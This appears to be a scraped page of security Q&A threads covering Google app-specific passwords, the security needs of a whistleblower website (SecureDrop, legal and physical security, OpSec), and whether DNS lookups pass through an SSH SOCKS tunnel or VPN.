You also wrote:

Google does not automatically disable app-specific passwords when they are suddenly used out of their expected context (e.g. to access e-mail even though it was set up for Chrome sync).

That is the only real security issue here.


What are the main security considerations that must be taken into account if you intend on creating a (localised) whistleblower website? Also: Is it something that can be achieved with limited funds? I ask because I am intrigued by the obstacles that are in place.

I wouldn't start from scratch. Try looking at SecureDrop. It's used by the New Yorker for anonymous sources.

In addition to the right software, you also need to consider physical security and legal security. You'll want to know what are the laws concerning whistleblowing and privacy in the jurisdiction where you are hosting it. The software may be great, but if you live somewhere where you can be arrested just on suspicion, or they can break in and steal you server without a warrant, then software won't do anything to protect you.

Finally, everybody using it needs to pay attention to OpSec: learn how the system works and how it is meant to be used, then don't ever veer from that.

One last thing to mention. If the type of activity you plan to engage in is illegal where you live, you shouldn't post anything to Stack Exchange that links to your real identity. Ross William Ulbricht (of Silk Road infamy) was caught in part because he used his real name – briefly – on StackExchange.


When using an SSH tunnel does the server resolve domain names or is it still done via the ISP/DNS server on the router? With the recent UK news on the snoopers charter ISP's will be able to log and store a users Internet activities for up to a year and be made available to the Government. I've started thinking about solutions to stop an ISP tracking activity but I'm not sure if it's possible.

To my knowledge regardless of whether a user is using end-to-end encryption the ISP will still be able to see the source and destination addresses in the IP packet.

Is there any way to stop this?

My initial thought was to use SSH to create a tunnel that all Internet traffic goes through from a specific machine. In fact, if should be possible to this on a router.

But, would a DNS request still be made or is the entire request sent to the server that's tunnelling the request? Would the server take care of resolving the DNS, fetching the data, and sending it back?

An example of setting up a quick SOCKS5 tunnel for simplicities sake:

ssh -D1337 unpriv_user@example.com

Can DNS be tunnelled through that too?

This depends on the kind of tunnel:

If you just do a port forwarding then all DNS requests will be done by your local machine against the configured DNS server and thus be visible by the ISP.
If you configure an explicit HTTP proxy in your browser and you tunnel access to this proxy through SSH then the DNS resolving will be done by the proxy, i.e. at the other end of the SSH tunnel.
If you use SSH as a SOCKS server then it depends on the SOCKS version in use. With SOCKS4 DNS lookups will be done locally. With SOCKS5 they might be done local or at the other end of the tunnel, depending on the capabilities and settings inside the browser.
With applications which are not aware of the proxy (i.e. use of socksify or similar) DNS lookups will be done locally (i.e. visible by the ISP).

A safer way would be to use a real VPN instead of a proxy since this way all network traffic independent of the applications configuration can be tunneled, including DNS lookups. But note that VPN is often misconfigured so that DNS lookups or IPv6 connections bypass the VPN.